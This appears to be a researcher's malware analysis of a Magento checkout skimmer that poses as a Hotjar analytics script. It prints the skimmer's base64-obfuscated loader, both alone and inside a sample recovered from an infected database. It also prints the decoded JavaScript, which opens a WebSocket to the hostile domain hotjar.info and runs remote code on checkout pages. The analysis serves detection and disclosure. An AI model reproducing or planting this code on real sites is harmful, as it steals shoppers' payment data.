This skimmer uses a domain similar to a previous skimmer that the talented @jknsCo posted on rapidspike.com, but its skimmer functionality is different along with the domain name being hotjar[.]info instead of _hotjar[.]us.

This hotjar[.]info skimmer uses less code as it relies on JavaScript’s WebSocket connection

hotjar.info skimmer

The skimmer injection is obfuscated with base64 encoded data which is decoded through the JavaScript function atob:

var soc;new self["Function"||"Object"](atob('aWYobmV3IFJlZ0V4cCgiY2hlY2tvdXQiKS50ZXN0KHdpbmRvdy5sb2NhdGlvbi5ocmVmKSl7c29jPW5ldyBzZWxmLldlYlNvY2tldCgid3NzOi8vaG90amFyLmluZm8vYXBpL2lkLyIpO3NvYy5vbm9wZW4gPSBmdW5jdGlvbihlKSB7c29jLnNlbmQoYnRvYSgiSU5JVDo6Iit3aW5kb3cubG9jYXRpb24uaG9zdCkpO307c29jLm9ubWVzc2FnZT1mdW5jdGlvbihhKXtuZXcgc2VsZi5GdW5jdGlvbihhdG9iKGEuZGF0YSkpLmNhbGwodGhpcyl9O307')).call(this);

After decoding the base64 data - we can see the malicious JavaScript skimmer and the exfil domain.

As is normal, the skimmer only activates on the checkout page of the website which is detected by using RegExp to search the returned value for window.location.href.

if (new RegExp("checkout").test(window.location.href)) {
    soc = new self.WebSocket("wss://hotjar.info/api/id/");
    soc.onopen = function(e) {
        soc.send(btoa("INIT::" + window.location.host));
    };
    soc.onmessage = function(a) {
        new self.Function(atob(a.data)).call(this)
    };
};

WebSocket (WSS) protocol

The payment data submitted by the victim on the checkout page is exfiltrated through the JavaScript function WebSocket:

The WebSocket protocol provides a way to exchange data between browser and server via a persistent connection. The data can be passed in both directions as “packets”, without breaking the connection and additional HTTP-requests.

wss:// = connection is encrypted with TLS/SSL

ws:// = connection is not encrypted

Since WebSocket is a different protocol than HTTP, the exfiltration request using it shows up a little differently in a web browser’s dev tools.

Notably with a 101 response code instead of a 200 code:

WebSocket connection from client to hotjar.info has been initialized. The data may now flow.

WHOIS

# whois  hotjar.info
Domain Name: HOTJAR.INFO
Registry Domain ID: D503300001187977694-LRMS
Registrar WHOIS Server:
Registrar URL: www.openprovider.nl
Updated Date: 2020-12-20T20:32:54Z
Creation Date: 2020-10-21T09:40:40Z
Registry Expiry Date: 2021-10-21T09:40:40Z	

Sample

Sourced from the core_config_data table on an infected Magento 2.4 website database.


<script>

    (function(h,o,t,j,a,r){

        h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};

        h._hjSettings={hjid:[redacted],hjsv:6};

        a=o.getElementsByTagName('head')[0];

        r=o.createElement('script');r.async=1;

        r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv;

        a.appendChild(r);

    })(window,document,'https://static.hotjar.com/c/hotjar-','.js?sv=');

</script>
<script>var soc;new self["Function"||"Object"](atob('aWYobmV3IFJlZ0V4cCgiY2hlY2tvdXQiKS50ZXN0KHdpbmRvdy5sb2NhdGlvbi5ocmVmKSl7c29jPW5ldyBzZWxmLldlYlNvY2tldCgid3NzOi8vaG90amFyLmluZm8vYXBpL2lkLyIpO3NvYy5vbm9wZW4gPSBmdW5jdGlvbihlKSB7c29jLnNlbmQoYnRvYSgiSU5JVDo6Iit3aW5kb3cubG9jYXRpb24uaG9zdCkpO307c29jLm9ubWVzc2FnZT1mdW5jdGlvbihhKXtuZXcgc2VsZi5GdW5jdGlvbihhdG9iKGEuZGF0YSkpLmNhbGwodGhpcyl9O307')).call(this);</script>

P.S. I don’t like “defanging” domain names, so let me know if you get any warnings when loading (keep calm, it’s almost certainly a FP due to a bad signature).